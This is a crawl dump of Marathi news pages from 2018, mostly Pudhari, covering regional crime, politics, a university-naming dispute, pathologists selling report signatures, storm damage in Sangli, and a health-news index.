तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nवीरप्पनच्या 9 साथीदारांची मुक्तता\nइरोड (तमिळनाडू)- दिवंगत कन्नड सुपरस्टार राजकुमार यांचे अपहरण केलेला चंदन तस्कर वीरप्पन याच्या नऊ साथीदारांची न्यायाधीशांनी सबळ पुराव्याअभावी मंगळवारी...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00430.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/Shripad-Chindam-out-of-area-once-again/", "date_download": "2018-09-25T17:00:10Z", "digest": "sha1:YB67TQPWT4YQPCSXJ4THGUWKTZJIMGVH", "length": 4634, "nlines": 36, "source_domain": "www.pudhari.news", "title": " श्रीपाद छिंदम पुन्हा तडीपार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › श्रीपाद छिंदम पुन्हा तडीपार\nश्रीपाद छिंदम पुन्हा तडीपार\nछत्रपती शिवाजी महाराज यांच्याबद्दल आक्षेपार्ह विधान केलेल्या माजी उपमहापौर श्रीपाद छिंदम याला पुन्हा नगर जिल्ह्यातून तडीपार करण्यात आले आहे. मंगळवारपासून (दि. 24) आठ दिवस त्याला जिल्ह्यात प्रवेश करण्यास बंदी घालण्यात आली आहे.\nबुधवारी (दि.25) शिवसेनेचे कार्याध्यक्ष उद्धव ठाकरे हे नगरच्या दौर्‍यावर आहेत. त्यावेळी छिंदम हा शहरात वास्तव्यास राहिल्यास कायदा-सुव्यवस्थेचा प्रश्‍न निर्माण होऊ शकतो. त्यासाठी त्याला नगर जिल्ह्यातून 8 दिवसांसाठी तडीपार करण्यात यावे, असा प्रस्ताव तोफखाना पोलिसांनी प्रांताधिकार्‍यांकडे पाठविला होता. प्रांताधिकारी उज्ज्वला गाडेकर यांनी मंगळवारी सकाळी हा प्रस्ताव मंजूर केला आहे. त्यानंतर पोलिस निरीक्षक सुरेश सपकाळे यांनी दुपारी छिंदम याला तडीपारीची नोटीस बजाविली आहे. जामीन मंजूर झाल्यानंतर त्याला 15 दिवसांसाठी जिल्ह्यातून तडीपार करण्यात आले होते. आता पुन्हा कायदा-सुव्यवस्थेचा प्रश्‍न लक्षात घेऊन छिंदम याला आठवड्यासाठी तडीपार करण्यात आले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00430.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Don-dawd-unwilling-on-Iqbal/", "date_download": "2018-09-25T16:50:45Z", "digest": "sha1:4EBIIZS6PNKJEHSPQ3A5WCD5XT76R3IS", "length": 7849, "nlines": 37, "source_domain": "www.pudhari.news", "title": " डॉन दाऊद इक्बालवर नाराज | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › डॉन दाऊद इक्बालवर नाराज\nडॉन दाऊद इक्बालवर नाराज\nदाऊदचा मुलगा मोईन नवाज कासकर आपल्या वडिलांच्या काळ्या व्यवसायापासून दूर राहून धार्मिकतेकडे वळला आहे. त्याला आपल्या वडिलांच्या बेकायदेशीर साम्राज्यात अजिबात रस नसून तो मौलवी बनल्याची माहिती दाऊदचा अटकेत असलेला भाऊ इक्बाल कासकर याने पोलिसांना दिली होती. त्यामुळे दाऊद आपला भाऊ इक्बालवर प्रचंड नाराज असल्याचे उघड झाले आहे. तसा निरोपच दाऊदने इक्बालला त्याचाच मुलगा रिझवान कासकर मार्फत ठाणे तुरुंगात पाठवला आहे.\nमागील महिन्यात इक्बालची त्याचा मुलगा रिझवान आणि अनिस इब्राहिमचा मुलगा आरिश यांनी भेट घेतली होती. यावेळी दोघांनी दाऊदचा निरोप त्यास पोहचवल्याचे वृत्त आहे. ठाण्यातील बिल्डरांकडून खंडणी उकळल्या प्रकरणी कुख्यात डॉन दाऊद इब्राहिमचा भाऊ इक्बाल कासकर सध्या ठाणे तुरुंगात आहे. ठाणे खंडणी विरोधी पथकाने केलेल्या चौकशीत इक्बाल याने अनेक खळबळजनक खुलासे केले होते. आमचा आणखी एक भाऊ वृध्दावस्थामुळे आजारी आहे. तर काही भावांचा मृत्यू झाला आहे. दाऊदला आता जवळचे नातेवाईक कोणीही नसून, दाऊदच्या या काळ्या धंद्यांचा वारसदार कोण असणार असा सवाल उपस्थित होत असून दाऊदच्या मुलाने मागील काही वर्षांपासून आपल्या कुटुंबियांसमवेत नातेसंबंध तोडले आहेत अशी माहिती इक्बाल याने पोलिसांना दिली होती.\nदाऊदचा तीस वर्षीय मुलगा मोईनला आपल्या बापाच्या काळ्या साम्राज्यात थोडेही रस नसून तो सध्या मौलवी म्हणून ओळखला जात आहे. कराचीमध्ये एका पॉश वस्तीमध्ये असलेल्या बंगाल्यातूनही मोईन बाहेर पडला असून तो आता एका मस्जीदीमध्ये राहण्यासाठी गेला आहे. मोईन पाकिस्तानात धर्माचे पाठ तरुणांना देत असतो. तर मोईनबरोबर त्याची पत्नी आणि त्यांची लहान तीन मुलेही मस्जीदीकडून देण्यात आलेल्या एका छोट्याशा खोलीमध्ये रहात असतात अशी माहिती इक्बालने पोलीस चौकशी दरम्यान उघड केली होती.\nइक्बालचा दुबईत राहणारा मुलगा रिझवान आणि अनिस इब्राहिमचा मुलगा आरिश यांनी नुकतीच इक्बालची ठाण्यात भेट घेतली. यावेळी दोघांनी इक्बाल यास दाऊदचा निरोप दिल्याचे कळते. आपल्या कुटुंबियासंबंधितची माहिती तपास यंत्रणांना देवू नये असा निरोप दाऊदने दोघांमार्फत पाठवले होते. या भेटीवेळी आपल्या वडिलांना पाहून रिझवान यास रडू कोसळले.\nरिझवान याच्याकडे भारतीय पासपोर्ट असून तो सध्या दुबईत संगणकाचा व्यवसाय करतो. तर युएईचा पासपोर्ट आहे. दाऊदच्या या दोघा पुतन्यांवर कुठलाही गुन्हा नसल्याने त्यांच्यावर अद्याप तपास यंत्रणांची नजर नसल्याचे ठाणे खंडणी विरोधी पथकाच्या एका अधिकार्‍याने सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00430.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Solapur-University-name-Dispute-possibility/", "date_download": "2018-09-25T17:23:18Z", "digest": "sha1:Z2JNQVJDGBFWEWSQFIWGG437FIWZC7M4", "length": 6142, "nlines": 36, "source_domain": "www.pudhari.news", "title": " सोलापूर विद्यापीठ नामांतराचा वाद चिघळण्याची शक्यता | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › सोलापूर विद्यापीठ नामांतराचा वाद चिघळण्याची शक्यता\nसोलापूर विद्यापीठ नामांतराचा वाद चिघळण्याची शक्यता\nमुंबई : विशेष प्रतिनिधी\nसोलापूर विद्यापीठाला पुण्यश्‍लोक अहिल्याबाई होळकर यांचे नाव देण्याची घोषणा मुख्यमंत्री देवेंद्र फडणवीस यांनी केली असताना आता या विद्यापीठाला कोणाचे नाव द्यावे, हे निश्‍चित करण्यासाठी मुख्यमंत्र्यांनीच उच्च व तंत्र शिक्षणमंत्री विनोद तावडे यांच्या अध्यक्षतेखाली राज्य मंत्रिमंडळाची उपसमिती स्थापन केली आहे. सरकारच्या या भूमिकेवर धनगर बांधव नाराज झाले असून फेरविचार झाल्यास विद्यापीठाच्या नामांतरावरून वाद चिघळण्याची चिन्हे निर्माण झाली आहेत.\nसोलापूरला विद्यापीठाला पुण्यश्‍लोक अहिल्याबाई होळकर यांचे नाव द्यावे, अशी राज्यातील विविध धनगर संघटनांची मागणी होती. तर या विद्यापीठाला संत महात्मा बसवेश्‍वर यांचे नाव देण्याची लिंगायत समाजाची मागणी आहे. मात्र, मुख्यमंत्री फडणवीस यांनी या विद्यापीठाला पुण्यश्‍लोक अहिल्याबाई होळकर यांचे नाव देण्याची नुकतीच घोषणा केली होती.\nविद्यापीठ नामांतराच्या घोषणेमुळे लिंगायत समाज नाराज झाला आहे. सोलापूरला लागूनच कर्नाटकमध्ये लिंगायत समाजाची मोठी संख्या आहे. सध्या या राज्यात विधानसभा निवडणुकीचे वारे वाहू लागले आहेत. सोलापूर विद्यापीठाला संत महात्मा बसवेश्‍वर यांच्याऐवजी अहिल्याबाईचे नाव देण्याची घोषणा केल्याचा फटका भाजपला निवडणुकीत बसू शकेल, अशी शक्यता वाटल्यामुळे सरकारने मुख्यमंत्र्यांच्याच घोषणेवर अभ्यास करण्यासाठी मंत्रिस्तरीय उपसमिती स्थापन करण्याचा निर्णय घेतला आहे.\nतावडे यांच्यासह अन्न व नागरी पुरवठा मंत्री गिरीष बापट, जलसंधारण मंत्री राम शिंदे, पशुसंवर्धन व दुग्धविकास मंत्री महादेव जानकर यांचा या समितीत समावेश आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00430.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Flat-pathologist-radar/", "date_download": "2018-09-25T17:41:30Z", "digest": "sha1:25V2PRMY4ABPMKFMNFVPP63MXHPIUUDQ", "length": 9947, "nlines": 42, "source_domain": "www.pudhari.news", "title": " भटके ‘पॅथॉलॉजिस्ट’ रडारवर | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › भटके ‘पॅथॉलॉजिस्ट’ रडारवर\nपुणे : ज्ञानेश्‍वर भोंडे\nएकाच वेळी दहा ते पंधरा ठिकाणच्या पॅथॉलॉजी लॅबशी संधान साधून, रोगनिदान अहवालाबाबत कोणतीही खात्री न करता, डिजिटली किंवा लेखी सही करून देणार्‍या पॅथॉलॉजीस्टवर कारवाईचा बडगा उगारला जाणार आहे. पॅथॉलॉजिस्टने लॅबमध्ये स्वतः हजर राहून, त्याचा अहवाल देणे व नागरिकांच्या शंकांचे निरसन करणे आवश्यक आहे. मात्र तसे होताना दिसत नाही. अशा पॅथॉलॉजिस्टची तक्रार ‘महाराष्ट्र मेडिकल काउंसिल’ कडे करावी, असे आवाहन काउंसिलने केले आहे.\nलॅबमधील रोगनिदान अहवालांची संपूर्ण माहिती न घेता एकापेक्षा अधिक ठिकाणी सही करणार्‍या एका पॅथॉलॉजिस्टचा वैद्यकिय नोंदणी परवाना, महाराष्ट्र मेडिकल काऊन्सिल (एमएमसी) ने सहा महिन्यांसाठी नुकताच रद्द केला आहे. याच महिन्यात 3 तारखेला एमएमसीने डॉ. प्रवीण शिंदे यांची नोंदणी रद्द केली असून, ते कर्जत, रोहा, पनवेल येथील अनेक लॅबमध्ये त्यांनी सह्या केल्याचे उघडकीस आल्याचे सांगण्यात आले. याबाबत राज्याच्या पॅथॉलॉजी संघटनेनेच तक्रार केली होती. हाच निर्णय आता राज्यातील सर्वत्र लागू असून, इथून पुढे अशा भटक्या पॅथॉलॉजिस्टवरही कारवाई होणार आहे.\nसध्या पॅथॉलॉजी लॅबचा शहरात बाजार मांडला गेला आहे. बारावीनंतर डीएमएलटी करणार्‍या टेक्निशियन्सनी अशा रोगनिदान प्रयोगशाळा (पॅथॉलॉजी लॅब) थाटल्या आहेत. विशेष म्हणजे त्यांना कोणाचीही परवानगी घेण्याची आवशकता नसते. पुरेसे पॅथॉलॉजिस्ट नसल्याची स्थिती त्यांच्या पथ्यावर पडते. अनेक लॅबचालकांनी एकाच पॅथॉलॉजिस्टला महिन्याला भरमसाठ रक्‍कम देऊन केवळ सह्या करण्यापुरते कामावर ठेवले आहे. यामुळे हे पॅथॉलॉजिस्ट एकापेक्षा अधिक व जवळपास दहा ते पंधरा ठिकाणच्या लॅबमध्ये रुग्णाच्या रोग निदानाची खात्री न करता, सह्या करून दोघेही रुग्णांच्या जीवाशी खेळत आहेत. काही लॅबचालक तर पॅथॉलॉजिस्टकडे जाउन रिपोर्टवर सह्या आणतात. याला काय म्हणणार\nतरच द्या रक्‍ताचे नमुने\nयाबाबत बोलताना ‘महाराष्ट्र असोसिएशन ऑफ प्रॅक्टिसिंग पॅथॉलॉजिस्ट आणि मायक्रोबायोलॉजिस्ट’ संघटनेचे डॉ. प्रसाद कुलकर्णी म्हणाले की, कोणत्याही पॅथॉलॉजी लॅबमध्ये तपासणी करण्यासाठी रक्‍ताचे नमुने देताना तेथे पॅथॉलॉजिस्ट आहे का, याची खात्री करणे आवशक आहे; कारण अनेक लॅब या कायद्यापासून बचाव करण्यासाठी पॅथॉलॉजिस्टच्या केवळ सहया विकत घेतात.\nपॅथॉलॉजी क्षेत्रातील सूत्रांनी दिलेल्या माहितीनुसार पुण्यातील पॅथॉलॉजिस्टनी केवळ या शहरातच नव्हे तर नाशिक, बारामती येथेही लॅबचालकांना सह्या विकत आहेत. अशा वेळी पुण्यातून खरोखरच हे पॅथॉलॉजिस्ट तेथे जाऊन सर्वकाही नियमानुसार सह्या करत असतील की नाही, हे सांगण्यासाठी कोण्या ज्योतिषाची आवशकता नाही. त्यामुळे रुग्णांनीच जागे होउन आता त्यांच्याविरुध्द एमएमसीकडे तक्रार करण्याची गरज आहे.\nनियमाप्रमाणे पॅथॉलॉजिस्टला एकापेक्षा अधिक लॅबमध्ये अहवालावर सही करता येऊ शकते; पण ते रिपोर्ट त्या पॅथॉलॉजी विषयात एमडी किंवा डिप्लोमा घेतलेल्या पॅथॉलॉजिस्टच्या समोर रक्‍ताचे नमुने घेऊन रिपोर्ट तयार केलेले असणे आवशक आहे. नंतर त्या रिपोर्टवर स्वतः हजर राहून सही करणे आवशक आहे. डिजिटल सही करणे हे नियमबाहय आहे. तसेच, रुग्ण रिपोर्ट घेताना त्याला काही शंका असल्यास, त्यावेळी तो पॅथॉलॉजिस्टने स्वतः शंकेचे निरसन करणे आवशक आहे. ही मार्गदर्शक तत्वे पाळताना एकच पॅथॉलॉजिस्ट दहा ठिकाणी सही करू शकत नाही. म्हणून आता त्यांच्यावर कारवाई होउ शकते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00430.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/pune-computer-engineer-maiden-suicide-in-pune/", "date_download": "2018-09-25T17:04:53Z", "digest": "sha1:NKG44ELGCZJQAF6MN4C62AQNWJ3PDTML", "length": 6060, "nlines": 34, "source_domain": "www.pudhari.news", "title": " मुंढव्यात संगणक अभियंता युवतीने केली आत्महत्या | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › मुंढव्यात संगणक अभियंता युवतीने केली आत्महत्या\nमुंढव्यात संगणक अभियंता युवतीने केली आत्महत्या\nमुंढव्यातील आयटी कंपनीतील संगणक अभियंता युवतीने सातव्या मजल्यावरून उडी मारून आत्महत्या केल्याचा धक्कादायक प्रकार सोमवारी सकाळी घडला. दरम्यान तिने कौटुंबिक तणावातून आत्महत्या केल्याची शक्यता पोलिसांनी व्यक्त केली आहे. अश्‍विनी पांडुरंग गवारे (22, रा. धर्मानगर, चंदननगर, मूळ रा. विठ्ठलवाडी, ता. शिरूर) असे तिचे नाव आहे. याप्रकरणी मुंढवा पोलिस ठाण्यात आकस्मिक मृत्यूची नोंद करण्यात आली आहे. अश्‍विनी हिचे कॉम्प्युटर इंजिनिअरिंगचे शिक्षण झाले आहे. मुंढव्यातील पिंगळे वस्ती येथे वंशज ही सातमजली सोसायटी आहे. या सोसायटीत चौथ्या मजल्यावर ग्लोबल टँलेट टॅ्रक ही कंपनी आहे. कंपनीत मुला-मुलींंना मुलाखत तसेच फोनवर कसे बोलायचे याचे प्रशिक्षण दिले जाते.\nयाठिकाणी गेल्या चार महिन्यांपासून अश्‍विनी प्रशिक्षणासाठी येत होती. मात्र, गेल्या सात दिवसांपासून ती प्रशिक्षणासाठी आली नव्हती. सोमवारी अश्‍विनी गवारे सकाळी नेहमीप्रमाणे येथे आली. त्यानंतर साडेअकरा वाजण्याच्या सुमारास ती चौथ्या मजल्यावरून सोसायटीच्या सातव्या मजल्यावर गेली आणि गॅलरीतून खाली उडू मारून आत्महत्या केली. दरम्यान येथील नागरिकांनी तत्काळ याची माहिती मुंढवा पोलिसांना दिली. तसेच, तिला जवळच्या खासगी रुग्णालयात नेले. मात्र, पोलिसांनी तिला मृत घोषित केले. तिच्या आत्महत्येचे ठोस कारण समजू शकलेले नाही. परंतु, तिने कुटुंबातील ताण-तणावातून आत्महत्या केल्याची शक्यता असल्याचे वरिष्ठ पोलिस निरीक्षक अनिल पाथ्रुडकर यांनी सांगितले. तिच्या पालक तसेच नातेवाईकांना माहिती देण्यात आली आहे. ते आल्यानंतर अधिक माहिती समजेल असे सांगण्यात आले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00430.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/heavy-rain-in-Shirala-taluka-Sangli-city/", "date_download": "2018-09-25T16:53:35Z", "digest": "sha1:BTONIYI4ZCLXFFOUTUSJXNXFINDAU4LT", "length": 7697, "nlines": 39, "source_domain": "www.pudhari.news", "title": " सांगली शहरासह तासगाव, शिराळा तालुक्यात जोरदार पाऊस | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › सांगली शहरासह तासगाव, शिराळा तालुक्यात जोरदार पाऊस\nसांगली शहरासह तासगाव, शिराळा तालुक्यात जोरदार पाऊस\nसांगली, तासगाव, : प्रतिनिधी\nशहरासह तासगाव, शिराळा तालुक्यात दुपारी जोरदार पाऊस झाला. तासगाव तालुक्यात घरांवरील पत्रे उडून गेले. शिराळा तालुक्यात झाड उन्मळून पडून नुकसान झाले.गेले दोन दिवस ठिकठिकाणी जोरदार पावसाची हजेरी सुरू आहे. गुरुवारी दुपारी सांगली शहरातील विश्रामबाग परिसरात जोरदार पाऊस झाला. तासगाव शहरासह तालुक्यातील लिंब, पानमळेवाडी, येळावी, आरवडे हातनूर, डोर्ली, लोढे, पुणदी, विसापूर, हातनोली, धामणी, गोटेवाडी या गावांना गुरुवारी दुपारी पावसाचा तडाखा बसला. हातनोली येथील द्राक्षबागांचे नुकसान झाले. हातनूर, गोटेवाडी येथील घरांवरील पत्रे उडून गेली. काही ठिकाणी झाडे उन्मळून पडल्याने वाहतूक विस्कळीत झाली होती.\nशिराळा येथे वादळी वार्‍यासह मुसळधार पाऊस झाला. वार्‍यामुळे येथील बसस्थानकामधील निलगिरीचे मोठे झाड वादळाने मुख्य रस्त्यावर उन्मळून पडल्याने सर्व वाहतूक बाह्य वळण रस्त्यावरून चालू करण्यात आली. झाड पडल्याने निखिल निकम यांचे खोक्याचे सत्तर हजार रुपयांचे नुकसान, विद्युत खांब, डीपी, दूरध्वनी खांब पूर्ण वाकले असून विद्युत तारा तुटल्याने शहरातील वीज पुरवठा खंडित झाला\nआहे. तालुक्यातील बिळाशी, वीरवाडी, धसवाडी कुसाईवाडी, खुंदलापूर, मांगरूळ, मोरेवाडी, रिळे परिसरात विजेच्या गडगडाटासह मुसळधार पाऊस पडला. त्यामुळे शेतकर्‍यांची तारांबळ उडाली. वीजपुरवठा खंडीत झाला होता. बिळाशीत दत्तमंदिरावर झाड कोसळले मंदिराचे वीस हजाराचे नुकसान झाले.तर मधूकर रोकडे यांच्या शेडचे पत्रे उडून गेले. पवारवाडी-देवनगर येथील अनेक घराचे छत उडून गेले आहेत. अनेक घराची कौले जनावरांचे छप्पर उडून गेली आहेत. तसेच देवनगर येथील मांगले-शिराळा मार्गालगतची लोखंडी स्वागत कमान वार्‍याने कोलमडली आहे. परिसरातील अनेक झाडांची पडझड झाली आहे. ऊस शेतीचे नुकसान झाले.\nभिंत कोसळून खटावमध्ये शेतकरी ठार\nमिरज : शहर प्रतिनिधी\nतालुक्यातील खटाव येथे वादळी वार्‍याने घराची भिंत कोसळून शंकर तमन्‍ना शेंडूरे (वय 50, रा. खटाव) हे शेतकरी जागीच ठार झाले. गुरुवारी दुपारी ही दुर्घटना घडली. शंकर व त्यांची दहा वर्षांची मुलगी असे दोघेजण घरात होते. वादळात त्यांच्या घराचे सर्व पत्रे उडून गेले. भिंत त्यांच्या डोक्यावर पडल्याने ते जागीच ठार झाले. घरात पलीकडच्या खोलीमध्ये त्यांची दहा वर्षांची मुलगी थांबली होती. घराचे पत्रे उडू लागल्याने ती घरातून बाहेर आली.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00430.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/lifestyle-news/health-news/articlelist/2429531.cms", "date_download": "2018-09-25T18:13:59Z", "digest": "sha1:PLFVAZ2L5WTPKBH4MSIMYJ7CANGM3AT2", "length": 8103, "nlines": 145, "source_domain": "maharashtratimes.indiatimes.com", "title": "Health News in Marathi: Healthcare Articles in Marathi | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nभौतिकोपचार पद्धती आजकाल प्रचंड वेगाने वापरली जात आहे. प्रत्येक रुग्णालय, खासगी दवाखाने येथे भौतिकोपचारांचा वापर केला जातो. भौतिकोपचार खालील ठिकाणी वापरला जातो.\nलहान मुलांना चष्मा का\nजांघेतील हर्निया म्हणजे काय\nदारूचा एक पेगसुद्धा जीवावर बेतू शकतोUpdated: Aug 25, 2018, 12.12PM IST\nचवीचं कौतुक अन् मोलाच्या टिप्सUpdated: Aug 24, 2018, 10.13AM IST\nडोक्याचा कर्करोग: ही लक्षणे चिंताजनकUpdated: Aug 20, 2018, 10.09AM IST\nआरोग्यमंत्र - अशुद्ध रक्ताची वाहिनीUpdated: Aug 7, 2018, 04.00AM IST\nशस्त्रक्रियेने हर्नियावर मातUpdated: Aug 6, 2018, 05.08AM IST\nआरोग्यमंत्र - पुरुषांमधील वंध्यत्वः कारणे व उपचारUpdated: Jul 31, 2018, 12.43PM IST\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nतेलंगाणा: विसर्जनावेळी क्रेनचा हूक तुटून अपघा...\n'ही' अभिनेत्री साकारणार शनाया\nहेल्थ वेल्थ याा सुपरहिट\nतिरळेपणा आणि त्यावरील उपाय\nलहान मुलांना चष्मा का\nदारूचा एक पेगसुद्धा जीवावर बेतू शकतो\nसेक्स न केल्यामुळं होतो हा त्रास\nशिश्नाला ताठरता येण्यासाठी काय करू\nहस्तमैथुनाबद्दल या गोष्टी माहित आहे का\nपफ स्लीव्सची परतली फॅशन\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00430.warc.wet.gz", "language": "mr", "language_score": 0.64, "bucket": "all"} {"url": "http://www.pudhari.news/news/Marathwada/Wife-killed-Husband-in-Nanded/", "date_download": "2018-09-25T16:50:14Z", "digest": "sha1:QVUEFPPGSTFAPQKL2D4RX2M6W36STRXS", "length": 4651, "nlines": 36, "source_domain": "www.pudhari.news", "title": " नांदेडमध्ये पत्‍नीनेच केला पतीचा खून | पुढारी\tTop", "raw_content": "\nनेमबाज राही 